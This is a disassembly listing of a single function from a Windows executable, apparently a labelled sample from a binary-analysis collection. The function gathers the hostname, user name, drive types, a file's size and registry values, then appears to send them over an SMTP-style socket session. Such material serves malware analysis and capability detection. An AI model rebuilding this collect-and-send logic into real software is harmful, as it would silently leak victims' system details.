Function at 0x4023c0
Capabilities:
Get disk information
Get file size
Get hostname
Get session user name
Query or enumerate registry value

Disassembly:
enter 0xbc4, 1
push ebx
push esi
push edi
push 0x40a531
push 0x4030db
call fcn.00407f14
mov al, 0
mov dword [ebp - 0xbc8], eax
push 0x19
push 0x40a41d
push dword [ebp + 0xc]
call fcn.00402227
test al, al
jne 0x4023f6
jmp 0x4030af
push 0xdc
call fcn.00401d3c
test al, al
jne 0x402409
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x20]
call fcn.00406f06
push 0x40bb85
push dword [ebp + 0xc]
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x402436
jmp 0x4030af
push 0xfa
call fcn.00401d3c
test al, al
jne 0x402449
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x4c]
call fcn.00406f06
push 0x40bb85
push 0x40a423
call fcn.00406f59
push 0x40bb85
push 0x40a431
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x402487
jmp 0x4030af
push 0xfa
call fcn.00401d3c
test al, al
jne 0x40249a
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x54]
call fcn.00406f06
push 0x40bb85
push dword [ebp + 8]
call fcn.00406f59
push 0x40bb85
push 0x40a433
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x4024d6
jmp 0x4030af
push 0xfa
call fcn.00401d3c
test al, al
jne 0x4024e9
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x60]
call fcn.00406f06
call fcn.00401df9
test al, al
jne 0x402509
jmp 0x4030af
push 0x162
call fcn.00401d3c
test al, al
jne 0x40251c
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x64]
call fcn.00406f06
push 0x40bb85
push dword [ebp + 8]
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x402549
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x68]
call fcn.00406f06
push 0x40bb85
push 0x40a435
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x402578
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x6c]
call fcn.00406f06
call fcn.00401df9
test al, al
jne 0x402598
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x70]
call fcn.00406f06
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax]
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x4025c9
jmp 0x4030af
lea eax, [ebp - 0x2d]
push eax
call sub.kernel32.dll_GetLocalTime
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x29]
push dword [eax*4 + 0x40b0d7]
call fcn.00407960
push 0x40a44b
call fcn.004079c4
lea eax, [ebp - 0x164]
push eax
movzx eax, word [ebp - 0x27]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a456
call fcn.004079c4
movzx eax, word [ebp - 0x2b]
dec eax
push dword [eax*4 + 0x40b0f3]
call fcn.004079c4
push 0x40a460
call fcn.004079c4
lea eax, [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x2d]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a46a
call fcn.004079c4
lea eax, [ebp - 0x16c]
push eax
movzx eax, word [ebp - 0x25]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a474
call fcn.004079c4
lea eax, [ebp - 0x170]
push eax
movzx eax, word [ebp - 0x23]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a47e
call fcn.004079c4
lea eax, [ebp - 0x174]
push eax
movzx eax, word [ebp - 0x21]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a488
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
push 0x40bb85
push 0x40a48b
call fcn.00406f06
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x74]
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x7c]
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x80]
call fcn.00406f59
push 0x40bb85
mov eax, dword [ebp - 0x19]
push eax
call fcn.00406f59
push 0x40bb85
push 0x40a490
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x84]
call fcn.00406f59
push 0x40bb85
push 0x40ba83
call fcn.00406f59
push 0x40bb85
push 0x40a493
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x88]
call fcn.00406f59
and dword [ebp - 0x49], 0
push 0
call fcn.004011ca
push eax
call sub.kernel32.dll__lopen
mov esi, eax
cmp esi, 0xffffffff
je 0x402799
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x49], eax
push esi
call sub.kernel32.dll__lclose
cmp dword [ebp - 0x49], 0x400
jge 0x4027e6
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x17c]
push eax
push dword [ebp - 0x1d]
call fcn.00407960
lea eax, [ebp - 0x178]
push eax
push dword [ebp - 0x49]
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a4a0
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
jmp 0x40283a
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x188]
push eax
push dword [ebp - 0x1d]
call fcn.00407960
lea eax, [ebp - 0x184]
push eax
mov eax, dword [ebp - 0x49]
mov dword [ebp - 0x180], eax
fild dword [ebp - 0x180]
fdiv dword [0x40a4a7]
call fcn.00407f98
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a4b3
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x390]
push eax
lea eax, [ebp - 0x388]
push eax
push 0x40a4b7
call fcn.0040769c
lea eax, [ebp - 0x288]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x8c]
call fcn.00406fc2
call fcn.00407744
call fcn.00407874
lea eax, [ebp - 0x38c]
push eax
call fcn.00401476
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a4c2
call fcn.004079c4
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x490]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x90]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x594]
push eax
call fcn.004011ca
push eax
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a4cd
call fcn.004079c4
push dword [ebp - 0x1d]
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
push 0x40bb85
mov eax, dword [ebp - 0x19]
push eax
call fcn.00406f59
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0xd]
push eax
push 0x20019
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x94]
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402a65
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x118]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402968
push 0x47
call fcn.0040236a
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x11c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402993
push 0x48
call fcn.0040236a
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x120]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4029be
push 0x49
call fcn.0040236a
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x124]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4029e9
push 0x4a
call fcn.0040236a
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x128]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a14
push 0x4b
call fcn.0040236a
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x12c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a3f
push 0x4c
call fcn.0040236a
push 0x40bb85
push 0x40a4d0
call fcn.00406f59
push 0x40bb85
push 0x40b87f
call fcn.00406f59
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401df9
test al, al
jne 0x402a73
jmp 0x4030af
mov dword [ebp - 9], 0x100
lea eax, [ebp - 9]
push eax
push 0x40cb87
call sub.kernel32.dll_GetComputerNameA
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xc8]
call fcn.00406f06
push 0x40bb85
push 0x40cb87
call fcn.00406f59
lea eax, [ebp - 9]
push eax
push 0x40cb87
call sub.advapi32.dll_GetUserNameA
push 0x40bb85
push 0x40a4e3
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xcc]
call fcn.00406f59
push 0x40bb85
push 0x40cb87
call fcn.00406f59
push 0x40bb85
push 0x40a4e6
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xd0]
call fcn.00406f59
push 0x40bb85
call fcn.00401090
push eax
call fcn.00406f59
push 0x40bb85
push 0x40a4e9
call fcn.00406f59
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x98]
call fcn.00406f59
mov esi, 3
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x59c]
push eax
mov eax, esi
add eax, 0x40
push eax
call fcn.0040785c
push 0x40a4f8
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
push 0x40cb87
mov eax, dword [ebp - 0x1d]
push eax
call fcn.00406f06
push 0x40cb87
call sub.kernel32.dll_GetDriveTypeA
mov dword [ebp - 0x49], eax
cmp dword [ebp - 0x49], 0
je 0x402dd2
cmp dword [ebp - 0x49], 1
je 0x402dd2
push 0x40cb87
push 0x40a4fb
call fcn.00406f06
push 0x40cb87
mov eax, dword [ebp - 0x1d]
push eax
call fcn.00406f59
mov eax, dword [ebp - 0x49]
sub eax, 3
jne 0x402bfa
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x69c]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0xd8]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d00
inc eax
jne 0x402c31
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x7a0]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0xdc]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d00
dec eax
dec eax
jne 0x402c69
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x8a8]
push eax
lea eax, [ebp - 0x8a4]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x114]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d00
dec eax
jne 0x402c9d
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x9ac]
push eax
lea eax, [ebp - 0x9a8]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x130]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d00
dec eax
jne 0x402cd1
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xab0]
push eax
lea eax, [ebp - 0xaac]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x134]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d00
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbb4]
push eax
lea eax, [ebp - 0xbb0]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0xe4]
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402d0a
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402d45
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402d19
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402d45
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbb8]
push eax
push dword [ebp - 0x19]
call fcn.00407960
push 0x40a507
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d0f
push 0x40cb87
push 0x40a509
call fcn.00406f59
push 0x40cb87
mov eax, dword [ebp - 0x19]
push eax
call fcn.00406f59
push 0x40bb85
push 0x40cb87
call fcn.00406f59
cmp dword [ebp - 0x49], 3
jne 0x402d94
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbbc]
push eax
push dword [ebp - 0x1d]
call fcn.00401b9f
pop eax
push dword [eax]
call fcn.00407928
jmp 0x402d9f
lea eax, [ebp - 0x19]
push eax
push 0
call fcn.00407928
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbc0]
push eax
push dword [ebp - 0x19]
call fcn.00407960
push 0x40a516
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
push 0x40bb85
mov eax, dword [ebp - 0x19]
push eax
call fcn.00406f59
inc esi
cmp esi, 0x18
jle 0x402b4a
call fcn.00401df9
test al, al
jne 0x402dea
jmp 0x4030af
push 0x40bb85
push 0x40a519
call fcn.00406f06
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0x9c]
call fcn.00406f59
lea eax, [ebp - 0xd]
push eax
push 1
push 0
mov eax, dword [0x40b520]
push dword [eax + 0xa0]
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402f08
mov esi, 1
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbc4]
push eax
push esi
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407928
push 0x40b77d
mov eax, dword [0x40b520]
push dword [eax + 0xa4]
call fcn.00406f06
push 0x40b77d
mov eax, dword [ebp - 0x19]
push eax
call fcn.00406f59
lea eax, [ebp - 9]
push eax
push 0x40cb87
push 0
push 0
push 0x40b77d
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402ee6
push 0x40bb85
push 0x40a51c
call fcn.00406f59
push 0x40bb85
push 0x40b77d
call fcn.00406f59
push 0x40bb85
push 0x40a520
call fcn.00406f59
push 0x40bb85
push 0x40cb87
call fcn.00406f59
push 0x40bb85
push 0x40a524
call fcn.00406f59
jmp 0x402ee8
jmp 0x402ef2
inc esi
cmp esi, 0x32
jle 0x402e38
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401df9
test al, al
jne 0x402f08
jmp 0x4030af
cmp dword [0x40b528], 0
je 0x402f61
push 0x40bb85
push 0x40a527
call fcn.00406f06
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xac]
call fcn.00406f59
push 0x40bb85
push 0x40eb8b
call fcn.00406f59
push 0x40bb85
push 0x40a52a
call fcn.00406f59
call fcn.00401df9
test al, al
jne 0x402f61
jmp 0x4030af
mov eax, dword [0x40b520]
push dword [eax + 0x10]
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x403014
and dword [0x40b755], 0
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xb0]
call fcn.00406f06
mov eax, dword [0x40b520]
push dword [eax + 0x30]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b530], eax
cmp dword [0x40b530], 0
je 0x403000
push 0
push 0x401704
push 0xff
push 0
push 0
call dword [0x40b530]
test ax, ax
je 0x402fe2
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xb4]
call fcn.00406f59
jmp 0x403000
cmp dword [0x40b755], 0
jne 0x403000
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xb8]
call fcn.00406f59
push esi
call sub.kernel32.dll_FreeLibrary
call fcn.00401df9
test al, al
jne 0x403014
jmp 0x4030af
push 0x40bb85
call fcn.004011ca
push eax
call fcn.00406f06
push 1
push 0x40bb85
call fcn.00401eb5
push 0x40bb85
push 0x40b87f
call fcn.00406f06
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xc]
call fcn.00406f59
push 0
push 0x40bb85
call fcn.00401eb5
push 0x40bb85
push 0x40a52d
call fcn.00406f06
call fcn.00401df9
test al, al
jne 0x403077
jmp 0x4030af
push 0xfa
call fcn.00401d3c
test al, al
jne 0x403087
jmp 0x4030af
push 0x40bb85
mov eax, dword [0x40b520]
push dword [eax + 0xbc]
call fcn.00406f06
call fcn.00401df9
test al, al
jne 0x4030a7
jmp 0x4030af
mov al, 1
mov dword [ebp - 0xbc8], eax
cmp dword [0x40b779], 0
je 0x4030c3
push dword [0x40b779]
call sub.wsock32.dll_closesocket
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x4030e2
push 0x40a531
call fcn.00407f68
ret